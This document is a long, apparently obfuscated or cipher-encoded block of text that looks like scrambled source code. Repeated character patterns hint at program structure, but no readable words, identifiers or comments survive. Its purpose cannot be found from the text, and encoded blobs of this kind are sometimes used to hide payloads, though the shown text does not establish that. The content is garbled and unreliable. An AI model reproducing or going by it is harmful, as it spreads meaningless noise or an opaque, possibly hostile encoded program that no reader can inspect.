FH]MK@AMIL\%LVVDXXYDWLtrN]]NVVCVDA_DC@_FLZ]]JA[%FIFA[HJ[p@_[F@AMMGCVDKC_KACZ_KN[Jp@_[F@AMMGCVDKC_KACFXpY^U_NV^MUH%FIFA[HJ[p@_[F@AUVBD\JJ@K[oKJCJ[Jp@_[F@AMMGCVDKC_KAC%RJC\JT%  oNL^ZF]JGJN][MJN[%%%EHNLWLLU@FA[HJ[p@_[F@AFH]MK@AMIL\U@pKL\gpfa{pbnw gpfa{pbnw[\_[D[WV[U@pKL\%Z_KN[Jp@_[F@AMMGCVDKC_KACEHNLWLLU@FXpY^U_NV^MUH%FIEHNLWLLU@T%Z_KN[Jp@_[F@AFXpY^U_NV^MUHFH]MK@AMIL\UVBD\JJ@K[%@DWMpK]LDZ\KNVCZFXpY^U_NV^MUHUVBD\JJ@K[%M]JND%R%%R%R%R%FIF_NU^[D_HH]B		G@@[ppYB_N[[BT%%%%@DWMpK]LDZ\KNVCZFXpY^U_NV^MUHUVBD\JJ@K[%^EMUJ^ICEAWpI\@WZ]F[AZCC%^EMUJ^ICEAWpI\[@V^^HVAZCC%I@]JNLGLVVDXXYDWLN\IJ]GIVXZ\M^IMUZLAAY\WEFW_IJ]GIVXZtrIJ]GIVXZtr%pNM]L^\ZGFA[HJ[p@_[F@AFH]MK@AMIL\%Z_KN[Jp@_[F@AFH]MK@AMIL\pNM]L^\ZGMMGCVDKC_KAC%%%FIpNM]L^\ZGWWT%Z_KN[Jp@_[F@AMMGCVDKC_KACMMGCVDKC_KACFXpY^U_NV^MUH%@DWMpK]LDZ\KNVCZMMGCVDKC_KACFH]MK@AMIL\%R%R%RLN[LG{G]@XNMCJC[A_M[pT%@DWMpK]LDZ\KNVCZUVBD\JJ@K[C[A_M[p%%RLN[LGjWLJ_[F@AC[A_M[pT%R%R%IZAL[F@AC\]C_Z\@I%T%  ]JEJL[KF\L@AAJL[JK\[NLDI]NBJ%%[]VT%  xg@BJcFAD[GJBJ\Z__@][%%FIFH]MK@AMIL\FH]MK@AMIL\]J[Z]A%FIKJIFAJKMMGCVDKC_KACSSKJIFAJKUVBD\JJ@K[T%FIFA[oHJ[p@_[F@AUVBD\JJ@K[T%oKJCJ[Jp@_[F@AUVBD\JJ@K[%oZ_KN[Jp@_[F@AMMGCVDKC_KACFH]MK@AMIL\%R%  K@BFAN[J@]LGJ\[]N[@]I@]x@\[{J]B\%%%%]J[Z]A%R%ICMINUBAF]@FA[oHJ[p@_[F@AUVBD\JJ@K[%FIICMINUBAF]@]J[Z]A%pBM_\LL^AKUVBD\JJ@K[FH]MK@AMIL\FA[oMMGCVDKC_KACFXpY^U_NV^MUH%%FIpBM_\LL^AKpBM_\LL^AKWKKWI%FIMMGCVDKC_KACICMINUBAF]@pBM_\LL^AKWLW]J[Z]A%oZ_KN[Jp@_[F@AMMGCVDKC_KACFXpY^U_NV^MUHFXpY^U_NV^MUH%KJ^B@NIBBM_FA[oHJ[p@_[F@AFH]MK@AMIL\%oZ_KN[Jp@_[F@AFH]MK@AMIL\KJ^B@NIBBM_MMGCVDKC_KAC%FIKJ^B@NIBBM_T%oKJCJ[Jp@_[F@AFH]MK@AMIL\%oZ_KN[Jp@_[F@AMMGCVDKC_KACUVBD\JJ@K[FH]MK@AMIL\%%@DWMpK]LDZ\KNVCZUVBD\JJ@K[MMGCVDKC_KAC%R%%%RLN[LG{G]@XNMCJC[A_M[pT%RLN[LGjWLJ_[F@AC[A_M[pT%R%R%IZAL[F@AKIW@CV@ECHKJYMF\%T%[]VT%FIKJIFAJKFH]MK@AMIL\]J[Z]A%%FIMMGCVDKC_KACFXpY^U_NV^MUH]J[Z]A%%%FICKBXNHE^IMXW]J[Z]A%FINHGYVFA\AKH]J[Z]A%JEDZJUNLJA]IXB[[I@V^YMAMHF%%%GX\LEGKUW\JEDZJUNLJA]IFXpY^U_NV^MUH%FH_GIDNJFXpY^U_NV^MUHsAUVBD\JJ@K[sA%MMGCVDKC_KACsAFH]MK@AMIL\sAMMGCVDKC_KACsA%FXpY^U_NV^MUHsAMMGCVDKC_KACsAFXpY^U_NV^MUHsA%UVBD\JJ@K[sA%LZ]]JA[oUVBD\JJ@K[GX\LEGKUW\oFXpY^U_NV^MUHGX\LEGKUW\%FIFXpY^U_NV^MUHLZ]]JA[T%@DWMpK]LDZ\KNVCZUVBD\JJ@K[FXpY^U_NV^MUH%]J[Z]A%%%%R%FIMMGCVDKC_KACLZ]]JA[MMGCVDKC_KACINC\JT%\M^IMUZLAAY\WEFW_GX\LEGKUW\LZ]]JA[FH_GIDNJBXN[@JXYMUYS^NBMCWNJBXN[@JXYMUYq%LDGZAFpWLVH[K[GX\LEGKUW\XGUWZVGJZFI%^^[J]pC_EXZI\U\YFLJGX\LEGKUW\%R%_CGXELCHAVWJUWWVAWYF]BX%FI_CGXELCHAVWSSUVBD\JJ@K[_CGXELCHAVW]J[Z]A%KY^^N_EXEYUVFH]MK@AMIL\]\MJUBYUVBD\JJ@K[%%YIHUKIZVK^W\ZBKLY[ZIN%NIWCANpD@\J__MJJCW]ZGnm|n{gMMGCVDKC_KACWWUVBD\JJ@K[%FENCZMXFUUDN]]NV%YIHUKI NIWCANpD%JEDZJUNLJA]I NIWCANpD%%^F^WEHWJ[[YIHUKI NIWCANpDW^C@@pYZAIV\BBNGW^C@@pYZAI
%I@]JNLGFENCZMXFUUDN\FB\HI_GT%]_DCDZL\FH]MK@AMIL\FB\HI_G%FIoFH]MK@AMIL\]_DCDZL\SSpAWDW\CVHEINNK]_DCDZL\WLW[]ZJT%  xZ\JjA[F[V}JL@]K\FA\[NA[FN[J\J\\F@AXFAK@X%%^F^WEHWJ[[FB\HI_G%M]JND%R%R%LYF]DCIHpYW[N]CHE^U[^X\F[%WCHNGMDVFApI\BLEKWJ_Gp_JI%FH]MK@AMIL\%N]]NVpp|czhppppczhfapmn|jppppyj}|f`app%N]]NVKY^^N_EXEYUVLYF]DCIHpYXHMDNU[UXH@NANXI[%_MGWVVHA\ML]]D[DCC_MGWVVHA\%FIWCHNGMDVFT%FIFA[HJ[p@_[F@AMMGCVDKC_KAC@DWMpK]LDZ\KNVCZFXpY^U_NV^MUHMMGCVDKC_KAC%]J[Z]A%R%KF\\E^XM%DYE]AXND^UN]]NVnm|n{gMMGCVDKC_KACYIHUKIFXpY^U_NV^MUH%]Y@@\p]pG@^ZUVBD\JJ@K[FH]MK@AMIL\oMMGCVDKC_KACFH]MK@AMIL\INC\J%FIFXpY^U_NV^MUH]Y@@\p]pG@^Z		]Y@@\p]pG@^ZT%DYE]AXND^UtrFXpY^U_NV^MUHnm|n{gMMGCVDKC_KAC ]Y@@\p]pG@^Z%DYE]AXND^UtrYIHUKI ]Y@@\p]pG@^Z%R%I@]JNLGDYE]AXND^UN\^ppVBWpHNIT%\MVIVJXJ\[H\oFH]MK@AMIL\^ppVBWpHNIoFXpY^U_NV^MUH^ppVBWpHNI%FIFXpY^U_NV^MUH\MVIVJXJ\[H\SS\MVIVJXJ\[H\L@A[FAZJ%%%%FIMMGCVDKC_KACUVBD\JJ@K[\MVIVJXJ\[H\__IILV\@UXT%L\\KWNN]CFXpY^U_NV^MUH__IILV\@UXtr%FIL\\KWNN]C		\[]F_@\L\\KWNN]CUVBD\JJ@K[INC\J		HBIIHN[XH][L\\KWNN]CT%%KF\\E^XML\\KWNN]C%M]JND%R%  \[]J\\[J\[L@B_NL[JIIJL[[V_J%%%%R%R%FIKF\\E^XMT%WCHNGMDVFFXpY^U_NV^MUHUVBD\JJ@K[FH]MK@AMIL\MMGCVDKC_KACKF\\E^XM[]ZJFXpY^U_NV^MUHWCHNGMDVF%FIFXpY^U_NV^MUHWCHNGMDVFT%@DWMpK]LDZ\KNVCZUVBD\JJ@K[UVBD\JJ@K[%%%]J[Z]A%R%R%GMECYJV@N[]ZJ%Z]@YZKGXG[AZCC%FIoUVBD\JJ@K[^F^WEHWJ[[T%  oIFWZ_@]MF[%%%Z]@YZKGXG[EXpF\FZFGEDEJ\[]FAHoFXpY^U_NV^MUH^F^WEHWJ[[%%FIFH]MK@AMIL\Z]@YZKGXG[		Z]@YZKGXG[WCHNGMDVFT%GMECYJV@NINC\J%%%R%  iifMFAKFAH\_]FBJGNAK\GNDJ%%R%KU_IWY^D[NWN]]NV%nm|n{gFXpY^U_NV^MUH%KJIFAJKMMGCVDKC_KACxpl`a{ja{pkf}YIHUKIFH]MK@AMIL\%%%V]IW_U^VUDBBCFA[HJ[p@_[F@AUVBD\JJ@K[%FIV]IW_U^VUDBBC		FH]MK@AMIL\V]IW_U^VUDBBCT%^EMUJ^ICEAWpI\^F^WEHWJ[[AZCC%%%%I@]JNLGKU_IWY^D[NWN\Y\FBpT%  LVLCJKJ[JL[JK%%AXWKHVWJC^_HWoUVBD\JJ@K[Y\FBpoFXpY^U_NV^MUHY\FBp%FIFXpY^U_NV^MUHAXWKHVWJC^_HW		FXpY^U_NV^MUHAXWKHVWJC^_HWNIWCANpDINC\JT%A_FDVK]LDGp[^EWFIZB^[ZJNIAK]CLAXWKHVWJC^_HWNIWCANpD%%%FIMMGCVDKC_KACA_FDVK]LDGp[^		A_FDVK]LDGp[^AXWKHVWJC^_HW\M^IMUZLAAY\WEFW_Y\FBpA_FDVK]LDGp[^%R%R%]J[Z]A%R%FIGMECYJV@NT]JA\_ZM\EVELWLWJHW]V[@FCK]JA\_ZM\EVEL
%[EKM^^WMFAZ@N^F^WEHWJ[[WCHNGMDVFUVBD\JJ@K[%%%%LDGZAFpWLVH[K[^F^WEHWJ[[XGUWZVGJZFI%%^^[J]pC_EXZI\U\YFLJ^F^WEHWJ[[WWL%CNIDVG[IGpN^F^WEHWJ[[%R%ZLJL][Y_oMMGCVDKC_KAC^F^WEHWJ[[EXpF\FZFGEDEJ\[]FAHoFH]MK@AMIL\^F^WEHWJ[[%FIZLJL][Y_WCHNGMDVFT%%@DWMpK]LDZ\KNVCZMMGCVDKC_KACMMGCVDKC_KAC%^EMUJ^ICEAWpI\^F^WEHWJ[[GMECYJV@NZ]@YZKGXG[AZCC%]pEKYCU]@^IAFA[HJ[p@_[F@AUVBD\JJ@K[%Z_KN[Jp@_[F@AUVBD\JJ@K[]pEKYCU]@^IAFH]MK@AMIL\%%%%FI]pEKYCU]@^IAWWT@WLDF_UWXEE[L\_FG@WLDF_UWXE@WLDF_UWXE@WLDF_UWXE%Z_KN[Jp@_[F@AFXpY^U_NV^MUHUVBD\JJ@K[FXpY^U_NV^MUH%@DWMpK]LDZ\KNVCZFH]MK@AMIL\FH]MK@AMIL\%R%]J[Z]A%R%ZA\J[ZLJL][Y_%AI@@VFJXF]@AFFFH]MK@AMIL\%LVVDXXYDWLN]]NV%I@]JNLGKU_IWY^D[NWN\W^[HXNGT%]_DCDZL\FXpY^U_NV^MUHW^[HXNG%%%%FIoFH]MK@AMIL\]_DCDZL\L@A[FAZJ%Z@BI[UGE@UVBD\JJ@K[MMGCVDKC_KACoUVBD\JJ@K[W^[HXNGLINC\J%FIZ@BI[UGE@INC\J		MMGCVDKC_KACUVBD\JJ@K[oIC@LDZ@BI[UGE@c`ldpjw%GJDF]AFBXCDBD[AMoUVBD\JJ@K[W^[HXNGoUVBD\JJ@K[W^[HXNG%M\pUU^[HYAVoFH]MK@AMIL\W^[HXNGoMMGCVDKC_KACW^[HXNG%FIUVBD\JJ@K[M\pUU^[HYAVT%@DWMpK]LDZ\KNVCZFXpY^U_NV^MUHUVBD\JJ@K[%FIZ@BI[UGE@INC\JT%FIFH]MK@AMIL\UVBD\JJ@K[oIC@LDZ@BI[UGE@c`ldpza%oILC@\JZ@BI[UGE@%R%L@A[FAZJ%%R%FIUVBD\JJ@K[M\pUU^[HYAVNIWCANpDINC\JT%FIoMMGCVDKC_KAC^F^WEHWJ[[T%FIZ@BI[UGE@INC\JT%FIMMGCVDKC_KACMMGCVDKC_KACoIC@LDZ@BI[UGE@c`ldpza%oILC@\JZ@BI[UGE@%%R%L@A[FAZJ%R%M\pUU^[HYAVEWFIZB^[ZJNIAK]CLM\pUU^[HYAVNIWCANpD%R%FIFXpY^U_NV^MUHM\pUU^[HYAVT%@DWMpK]LDZ\KNVCZUVBD\JJ@K[MMGCVDKC_KACU^GVHI@UGYVCCY]A_U^GVHI
%FIZ@BI[UGE@INC\JT%FIMMGCVDKC_KACFH]MK@AMIL\oIC@LDZ@BI[UGE@c`ldpza%oILC@\JZ@BI[UGE@%R%L@A[FAZJ%R%FIoFXpY^U_NV^MUH^F^WEHWJ[[T%  xiZCC|F[JjKF[FAH\J]FNCFUJKF\[]FMZ[@]%%FIZ@BI[UGE@INC\JT%FIUVBD\JJ@K[UVBD\JJ@K[oIC@LDZ@BI[UGE@c`ldpza%oILC@\JZ@BI[UGE@%%%R%%%L@A[FAZJ%R%FIFB^XDCW]NENXDT%%%%YMW]NAC\IsAfIb@KZCJCF[J\_JJKsAAI@@VFJXF]@AFFFXpY^U_NV^MUH^F^WEHWJ[[sA fIb@KZCJsA%RJC\JT%YMW]NAC\IsAfIb@KZCJB@Kp_G_LsAAI@@VFJXF]@AFFUVBD\JJ@K[^F^WEHWJ[[sA fIb@KZCJsA%fIb@KZCJB@Kp_G_LsAAI@@VFJXF]@AFFUVBD\JJ@K[^F^WEHWJ[[sA fIb@KZCJsA%%%fIb@KZCJB@Kp_G_LsAAI@@VFJXF]@AFFMMGCVDKC_KAC^F^WEHWJ[[sA fIb@KZCJsA%fIb@KZCJB@Kp_G_LsAAI@@VFJXF]@AFFFH]MK@AMIL\^F^WEHWJ[[sA fIb@KZCJsA%%R%FI\M^IMUZLAAY\WEFW_W^[HXNGM\pUU^[HYAVYMW]NAC\ILVVDXXYDWLtrN]]NVW^[HXNGM\pUU^[HYAV%FIGJDF]AFBXCDBD[AMLDGZAFpWLVH[K[W^[HXNGGJDF]AFBXCDBD[AM%%JC\JLDGZAFpWLVH[K[W^[HXNGUVBD\JJ@K[%FIZ@BI[UGE@INC\JT%FIFH]MK@AMIL\MMGCVDKC_KACoIC@LDZ@BI[UGE@c`ldpza%oILC@\JZ@BI[UGE@%R%R%FIGMECYJV@NSSFXpY^U_NV^MUHLVVDXXYDWL		G@@[ppYB_N[[BT%%%%%@DWMpK]LDZ\KNVCZFXpY^U_NV^MUHFH]MK@AMIL\%%^EMUJ^ICEAWpI\^F^WEHWJ[[Z]@YZKGXG[%I@]JNLGLVVDXXYDWLN\IJ]GIVXZ\M^IMUZLAAY\WEFW_IJ]GIVXZtrIJ]GIVXZtr%%%%]pEKYCU]@^IAFA[HJ[p@_[F@AMMGCVDKC_KAC%%%Z_KN[Jp@_[F@AUVBD\JJ@K[]pEKYCU]@^IAUVBD\JJ@K[%FI]pEKYCU]@^IAWWT%Z_KN[Jp@_[F@AFXpY^U_NV^MUHFXpY^U_NV^MUHFXpY^U_NV^MUH%@DWMpK]LDZ\KNVCZFH]MK@AMIL\FH]MK@AMIL\%R%%%]J[Z]A%%%R%FIFA[HJ[p@_[F@AMMGCVDKC_KACZ_KN[Jp@_[F@AMMGCVDKC_KACUVBD\JJ@K[%FIFA[HJ[p@_[F@AMMGCVDKC_KACoKJCJ[Jp@_[F@AMMGCVDKC_KAC%%%%RLN[LG{G]@XNMCJC[A_M[pT%@DWMpK]LDZ\KNVCZFXpY^U_NV^MUHC[A_M[pZFZJ^S^@^AZEZFZJ^q%RLN[LGjWLJ_[F@AC[A_M[pT%%%@DWMpK]LDZ\KNVCZUVBD\JJ@K[C[A_M[p%R%R%IZAL[F@AML[^@pUWp^HFDpVCB%T%[]VT%FIKJIFAJKUVBD\JJ@K[]J[Z]A%FIFH]MK@AMIL\UVBD\JJ@K[]J[Z]A%%%^\XZFMLCX@\J__MJJCW]ZGnm|n{gFXpY^U_NV^MUHq%_CGXELCHAVWJUWWVAWYF]BX%FI_CGXELCHAVWSSFH]MK@AMIL\_CGXELCHAVWWKIW]J[Z]A%LYF]DCIHpYW[N]CHE^U[^X\F[%LZ]]JA[oHJ[p@_[F@A^\XZFMLCX%FILZ]]JA[		MMGCVDKC_KACLZ]]JA[UVBD\JJ@K[LYF]DCIHpY		LZ]]JA[LYF]DCIHpY]J[Z]A%FIUVBD\JJ@K[UVBD\JJ@K[T%Z_KN[Jp@_[F@A^\XZFMLCXLYF]DCIHpYFH]MK@AMIL\%RJC\JFIKJIFAJKFH]MK@AMIL\		KJIFAJKFH]MK@AMIL\		KJIFAJKFXpY^U_NV^MUH		KJIFAJKUVBD\JJ@K[		UVBD\JJ@K[UVBD\JJ@K[T%DWEUF\BN_UVBD\JJ@K[%IBMI@[oAJXDWEUF\BN_L@A\[NA[FH]MK@AMIL\L@A\[NA[MMGCVDKC_KACL@A\[NA[FXpY^U_NV^MUHL@A\[NA[UVBD\JJ@K[%FIIBMI@[		IBMI@[L@AAJL[pJ]]A@T%_]JIFWF\\J[hc`mnc|tFH]MK@AMIL\r_]JIFWhc`mnc|tUVBD\JJ@K[r_]JIFWFXpY^U_NV^MUH%%%%JEAVY@Y[HIBMI@[]JNCpJ\LN_Jp\[]FAHLYF]DCIHpY%%ICKBLV\IBMI@[]JNCpJ\LN_Jp\[]FAH^\XZFMLCX%IBMI@[^ZJ]VfsWJsWsW}{fasWsWIT_]JIFWR@sW[sW@AsWsWIsWsWF@sWJpANsWKJ@sW[sWsWIApYNCZJsWZsW@C@NKsWnsWLzsWsWTICKBLV\RTJEAVY@Y[HRAsWI`sWJkzsWLflsWsWjdjvsWsWsWsWj@sWsWsWsWIApYsWCZJTJEAVY@Y[HR%FIIBMI@[J]]@]@DWMpK]LDZ\KNVCZFXpY^U_NV^MUHUVBD\JJ@K[MMGCVDKC_KACIBMI@[J]]@]%IBMI@[LC@\J%R%R%  NKK[V_JNAA@[N[F@A\%%RLN[LG{G]@XNMCJC[A_M[pT%@DWMpK]LDZ\KNVCZFH]MK@AMIL\C[A_M[p%RLN[LGjWLJ_[F@AC[A_M[pT%R%R%IZAL[F@ACFXH_B\XpJ_%T%  xfAAJ]mC@LD\G@@DKJL@]N[@]%%FKKppGHEMKJIFAJKFH]MK@AMIL\xpl`a{ja{pkf}nm|n{gMMGCVDKC_KAC%KYIXIYZ]@\J__MJJCW]ZGnm|n{gFXpY^U_NV^MUHq%]J[Z]AN]]NVFKKppGHEMUVBD\JJ@K[FKKppGHEMMMGCVDKC_KACKYIXIYZ]UVBD\JJ@K[KYIXIYZ]%R%IZAL[F@AJVEMpBWFD[NH^L^VKY]%T%HWHXCM_LNFA[oUVBD\JJ@K[^VKY]%FIHWHXCM_LNSSHWHXCM_LN]J[Z]AINC\J%WGWB@AUYXH^B]oMMGCVDKC_KAC^VKY]%FIFXpY^U_NV^MUHWGWB@AUYXH^B]SSMMGCVDKC_KACWGWB@AUYXH^B]SSFXpY^U_NV^MUHWGWB@AUYXH^B]]J[Z]AINC\J%ICMINUBAF]@MMGCVDKC_KACWGWB@AUYXH^B]q%FIUVBD\JJ@K[ICMINUBAF]@qSSICMINUBAF]@trFXpY^U_NV^MUHSSFH]MK@AMIL\ICMINUBAF]@tr]J[Z]AINC\J%J]AJG@CUoMMGCVDKC_KACICMINUBAF]@tqr%FIJ]AJG@CUINC\JSSFH]MK@AMIL\J]AJG@CUWWM]J[Z]AINC\J%FIFH]MK@AMIL\J]AJG@CUsWIsWMT%%BDG]]YpoFH]MK@AMIL\yUVBD\JJ@K[J]AJG@CU%FIFH]MK@AMIL\BDG]]YpSSBDG]]YptrSSBDG]]Yptr]J[Z]AINC\J%FIUVBD\JJ@K[MMGCVDKC_KACJ]AJG@CUoHUKJL@KJJ]AJG@CU%JC\JFIFH]MK@AMIL\FH]MK@AMIL\T%J]AJG@CUoHUFAICN[JFH]MK@AMIL\J]AJG@CUMMGCVDKC_KACJ]AJG@CUWW%FIMMGCVDKC_KACJ]AJG@CU		MMGCVDKC_KACJ]AJG@CUWKMKWJ]J[Z]AINC\J%%R%JC\J]J[Z]AINC\J%%%R%%%FIFXpY^U_NV^MUHJ]AJG@CUSSFXpY^U_NV^MUHJ]AJG@CUSSUVBD\JJ@K[J]AJG@CUWWFXpY^U_NV^MUHSSFH]MK@AMIL\J]AJG@CUICMINUBAF]@tr]J[Z]AINC\J%]J[Z]AJ]AJG@CU%R%IZAL[F@ALLHNDUWB_FCB_NCZ%%T%  x@\[l@A[JA[]JLZ]\FYJ[]Z\[NALG@]%%[]VT%FIKJIFAJKMMGCVDKC_KAC]J[Z]A%BF@[_A\_CFXH_B\XpJ_%FIoMMGCVDKC_KACBF@[_A\_tr]J[Z]A%FIJVEMpBWFD[NH^LBF@[_A\_trINC\J]J[Z]A%[MB[V@ZCL_ApI\BLEKWJ_Gp_JIMMGCVDKC_KACN]]NVpp|czhppN]]NVFXpY^U_NV^MUH]\MJUBYMMGCVDKC_KAC%FIFH]MK@AMIL\[MB[V@ZCL_SS[MB[V@ZCL_]J[Z]A%[MB[V@ZCL_UVBD\JJ@K[FXpY^U_NV^MUH[MB[V@ZCL_L[\LCLNG_\NB_\L[\LCL%FIMMGCVDKC_KAC[MB[V@ZCL_SS[MB[V@ZCL_]J[Z]A%EYK@E][AVVAXHMDNU[UXH@NANXI[@\J__MJJCW]ZGnm|n{gFH]MK@AMIL\%\]^BHpZ^AUBDMMGCVDKC_KACEYK@E][AVVAMMGCVDKC_KAC%BGAW]NFXpY^U_NV^MUHEYK@E][AVVAFXpY^U_NV^MUH%YDUp^\]UVBD\JJ@K[BF@[_A\_trMMGCVDKC_KACXHMDNU[UXH@NANXI[UVBD\JJ@K[sA[MB[V@ZCL_%FIoMMGCVDKC_KACBF@[_A\_trT%FIALp@Z@[NNUFBF@[_A\_trT%@DWMpK]LDZ\KNVCZMMGCVDKC_KACFH]MK@AMIL\%]J[Z]A%R%%FI\M^IMUZLAAY\WEFW_BF@[_A\_trYDUp^\]T%LDGZAFpWLVH[K[BF@[_A\_trXGUWZVGJZFI%%%%^^[J]pC_EXZI\U\YFLJBF@[_A\_tr%CNIDVG[IGpNBF@[_A\_tr%R%]J[Z]A%R%%^^ZZIpDoMMGCVDKC_KACBF@[_A\_tr%%%FIMMGCVDKC_KAC^^ZZIpDSSFXpY^U_NV^MUH^^ZZIpD]J[Z]A%%FIFH]MK@AMIL\^^ZZIpD\]^BHpZ^AUBDINC\J		FH]MK@AMIL\^^ZZIpDBGAW]NINC\J]J[Z]A%FIFH]MK@AMIL\^^ZZIpDFXpY^U_NV^MUHINC\J		MMGCVDKC_KAC^^ZZIpDUVBD\JJ@K[BF@[_A\_trINC\JT%%%%FIUVBD\JJ@K[UVBD\JJ@K[FH]MK@AMIL\^^ZZIpDFW]EFKEWH		YJ]\F@ApL@B_N]JFW]EFKEWHtrXHMDNU[UXH@NANXI[FH]MK@AMIL\]J[Z]A%%%FIALp@Z@[NNUFBF@[_A\_tr^^ZZIpDT%@DWMpK]LDZ\KNVCZUVBD\JJ@K[MMGCVDKC_KAC%]J[Z]A%R%  o\_JLZCN[JNCJ][%%FI\M^IMUZLAAY\WEFW_BF@[_A\_trYDUp^\]T%LDGZAFpWLVH[K[BF@[_A\_trXGUWZVGJZFI%^^[J]pC_EXZI\U\YFLJBF@[_A\_tr%%%CNIDVG[IGpNBF@[_A\_tr%R%]J[Z]A%%%R%@UWDF@\J__MJJCW]ZGnm|n{gFH]MK@AMIL\%^^ZZIpDMMGCVDKC_KACFXpY^U_NV^MUH@UWDFUVBD\JJ@K[^^ZZIpD%FIFH]MK@AMIL\^^ZZIpDT%@DWMpK]LDZ\KNVCZUVBD\JJ@K[FH]MK@AMIL\%]J[Z]A%%%R%%%FIoFXpY^U_NV^MUHBF@[_A\_tr]J[Z]A%FI[GH\pF\GIUIIGUAFXpY^U_NV^MUHT%@DWMpK]LDZ\KNVCZFXpY^U_NV^MUHMMGCVDKC_KAC%%%%]J[Z]A%%%R%FIALp@Z@[NNUFBF@[_A\_tr^^ZZIpDT%@DWMpK]LDZ\KNVCZMMGCVDKC_KACFH]MK@AMIL\%]J[Z]A%R%%%%L^WYJBYVH_XUFFE]FH]MK@AMIL\%IYI_KNKYBJ\]^BHpZ^AUBDsAUVBD\JJ@K[BF@[_A\_trMMGCVDKC_KACsA[MB[V@ZCL_sABGAW]N%\M^IMUZLAAY\WEFW_BF@[_A\_trJCKBBF_Ip_]_^^ZZIpDIYI_KNKYBJ%RLN[LG{G]@XNMCJC[A_M[pT%@DWMpK]LDZ\KNVCZFH]MK@AMIL\C[A_M[p%RLN[LGjWLJ_[F@AC[A_M[pT%R%R%IZAL[F@AMFFEE^DIDBA@L_%T%  L@B_Z[NMCJNZ[G@]F[V%%[]VT%%%%FIKJIFAJKFXpY^U_NV^MUH]J[Z]A%BF@[_A\_CFXH_B\XpJ_%E\MNNGF^@C^ZL\[]FAHoMMGCVDKC_KACBF@[_A\_trINC\JAZCC%FIMMGCVDKC_KACMMGCVDKC_KACE\MNNGF^@C^ZLYE\BAI_		YE\BAI_trXHMDNU[UXH@NANXI[T%IFILZp^KIFA[HJ[p@_[F@AMMGCVDKC_KAC%FIFH]MK@AMIL\IFILZp^KI]J[Z]A%%%FIJVEMpBWFD[NH^LBF@[_A\_trINC\JT%oZ_KN[Jp@_[F@AUVBD\JJ@K[FXpY^U_NV^MUHUVBD\JJ@K[%]J[Z]A%R%@DWMpK]LDZ\KNVCZFH]MK@AMIL\MMGCVDKC_KAC%R%_CGXELCHAVWJUWWVAWYF]BX%%%FI_CGXELCHAVWSSFH]MK@AMIL\_CGXELCHAVWSSFH]MK@AMIL\_CGXELCHAVWSSYUKA]KF^LpMLUMZ_CGXELCHAVW]J[Z]A%F^EUBBIZIFXpY^U_NV^MUHFH]MK@AMIL\oHUJAL@KJ_CGXELCHAVWq_CGXELCHAVW%%%FIFH]MK@AMIL\F^EUBBIZISSF^EUBBIZI]J[Z]A%FI\M^IMUZLAAY\WEFW_BF@[_A\_trMMGCVDKC_KACXHMDNU[UXH@NANXI[FXpY^U_NV^MUH_CGXELCHAVWFXpY^U_NV^MUHF^EUBBIZIoZ_KN[Jp@_[F@AMMGCVDKC_KACUVBD\JJ@K[MMGCVDKC_KAC%RLN[LG{G]@XNMCJC[A_M[pT%@DWMpK]LDZ\KNVCZMMGCVDKC_KACC[A_M[p%RLN[LGjWLJ_[F@AC[A_M[pT%R%  x{NMCJmC@LDJW_F]JNCJ][%%R%IZAL[F@A]ND]ppXMZWYICZ@%T%%FIMMGCVDKC_KACFH]MK@AMIL\]J[Z]AINC\J%%XWJEXBUWKJIFAJKFXpY^U_NV^MUH		oFXpY^U_NV^MUHnm|n{gFH]MK@AMIL\nm|n{gFXpY^U_NV^MUHppifcjpp%]J[Z]AFXpY^U_NV^MUHXWJEXBUW\%R%IZAL[F@A\KAWDD]DU]]^LHp\%T%[]VT%FIMMGCVDKC_KACFH]MK@AMIL\SSFH]MK@AMIL\FXpY^U_NV^MUH]J[Z]A%FIKJIFAJKUVBD\JJ@K[]J[Z]A%_CGXELCHAVWJUWWVAWYF]BX%FI_CGXELCHAVWSSMMGCVDKC_KAC_CGXELCHAVW]J[Z]A%DJV]ND]ppXMZWYICZ@%FIDJVINC\J]J[Z]A%J_D][JXCCDV^\FXpY^U_NV^MUHFH]MK@AMIL\FXpY^U_NV^MUHFXpY^U_NV^MUH_CGXELCHAVWUVBD\JJ@K[_CGXELCHAVW%pHBBWGHWGE[X@FH]MK@AMIL\FH]MK@AMIL\_CGXELCHAVWJ_D][JXCCDV^\sA_CGXELCHAVW%[FYWAJpLFH]MK@AMIL\pHBBWGHWGE[X@%Y\pYNAVNWMoFH]MK@AMIL\DJVN%FIY\pYNAVNWMT%CF[WMEXXFA[oFH]MK@AMIL\Y\pYNAVNWM%Z]@YZKGXG[oFXpY^U_NV^MUHY\pYNAVNWMCF[WMEXX%%FIFXpY^U_NV^MUHZ]@YZKGXG[		UVBD\JJ@K[Z]@YZKGXG[_CGXELCHAVWINC\JT%oFXpY^U_NV^MUHY\pYNAVNWM%]J[Z]A%R%  KJ_]@YF\F@AL@ZA[NMCJL@BBNAK%%FICF[WMEXX[FYWAJpLT%%oFH]MK@AMIL\Y\pYNAVNWM%Y\pYNAVNWMoMMGCVDKC_KACDJVX%%FIY\pYNAVNWMT%oFXpY^U_NV^MUHY\pYNAVNWMMMGCVDKC_KACpHBBWGHWGE[X@CF[WMEXXs%%%BMGFVXXpEoFXpY^U_NV^MUHY\pYNAVNWM[FYWAJpL%oFXpY^U_NV^MUHY\pYNAVNWM%FIBMGFVXXpEpHBBWGHWGE[X@@DWMpK]LDZ\KNVCZMMGCVDKC_KACMMGCVDKC_KAC_WD^HX_[KE\ZI\_@_WD^HX_[KE_WD^HX_[KE_WD^HX_[KE%R%]J[Z]A%RJC\JT%oFH]MK@AMIL\Y\pYNAVNWM%%oMMGCVDKC_KACY\pYNAVNWM%R%R%CF[WMEXX[FYWAJpL%Y\pYNAVNWMoFXpY^U_NV^MUHDJVLCF[WMEXX%FIY\pYNAVNWM]J[Z]A%%oFH]MK@AMIL\Y\pYNAVNWMMMGCVDKC_KACpHBBWGHWGE[X@CF[WMEXXs%BMGFVXXpEoUVBD\JJ@K[Y\pYNAVNWM[FYWAJpL%FIBMGFVXXpEpHBBWGHWGE[X@@DWMpK]LDZ\KNVCZFXpY^U_NV^MUHMMGCVDKC_KAC%%%oFH]MK@AMIL\Y\pYNAVNWM%%RLN[LG{G]@XNMCJC[A_M[pT%  x|L]F_[b@KZCJ\KJYF][ZNCFUJ\[]N[JHV%%@DWMpK]LDZ\KNVCZMMGCVDKC_KACC[A_M[p%RLN[LGjWLJ_[F@AC[A_M[pT\AUBpAS^J[Gp]X\[\AUBpAq%R%R%IZAL[F@AJCKBBF_Ip_]_LZ]]JA[IY